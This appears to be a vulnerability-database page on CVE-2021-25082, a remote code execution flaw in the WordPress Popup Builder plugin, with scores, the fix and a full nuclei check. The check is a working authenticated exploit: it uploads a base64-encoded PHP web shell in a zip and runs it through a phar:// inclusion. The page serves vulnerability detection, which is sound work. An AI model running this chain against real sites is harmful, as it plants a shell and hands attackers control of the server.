HexBrain

Browse / CVEs / CVE-2021-25082

CVE-2021-25082· CWE-98

WordPress Popup Builder < 4.0.7 - Remote Code Execution

criticalseverity
8.8CVSS score
5.2%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.

Impact

Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.

Fix

Update to version 4.0.7 or later

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/upload.php
Positive when: status_code == 200 and contains(body, '_wpnonce')
Send: POST /wp-admin/async-upload.php
Positive when: status_code == 200 and contains_all(body, "success", ".zip")
Send: GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip
Positive when: status_code == 200 and contains(header, "application/zip")
Send: GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}}
Positive when: status_code == 200 and contains(body, "{{marker}}")

Run it with nuclei: nuclei -id CVE-2021-25082 -u <target>

The full check
id: CVE-2021-25082

info:
  name: WordPress Popup Builder < 4.0.7 - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.
  impact: |
    Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.
  remediation: |
    Update to version 4.0.7 or later
  reference:
    - https://wpscan.com/vulnerability/0f90f10c-4b0a-46da-ac1f-aa6a03312132/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25082
  classification:
    cve-id: CVE-2021-25082
    epss-score: 0.05229
    epss-percentile: 0.92585
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 5
  tags: cve,cve2021,wordpress,wp-plugin,rce,popup-builder,authenticated,vkev,vuln

variables:
  marker: "{{to_lower(rand_text_alpha(10))}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/upload.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, '_wpnonce')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_wpnonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/async-upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"

        malicious.zip
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="action"

        upload-attachment
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="_wpnonce"

        {{nonce}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="async-upload"; filename="malicious.zip"
        Content-Type: application/zip

        {{base64_decode("UEsDBAoAAAAAAHINkVuOOgt7HwAAAB8AAAAJABwAUG9wdXAucGhwVVQJAAPHCkJpxwpCaXV4CwABBAAAAAAEAAAAADw/cGhwIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/PgpQSwECHgMKAAAAAAByDZFbjjoLex8AAAAfAAAACQAYAAAAAAABAAAApIEAAAAAUG9wdXAucGhwVVQFAAPHCkJpdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEATwAAAGIAAAAAAA==")}}
        ------WebKitFormBoundary{{randstr}}--

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "success", ".zip")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: upload_year
        group: 1
        internal: true
        regex:
          - 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.zip'

      - type: regex
        name: upload_month
        group: 1
        internal: true
        regex:
          - 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.zip'

  - raw:
      - |
        GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(header, "application/zip")
        condition: and
        internal: true

  - raw:
      - |
        GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "{{marker}}")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from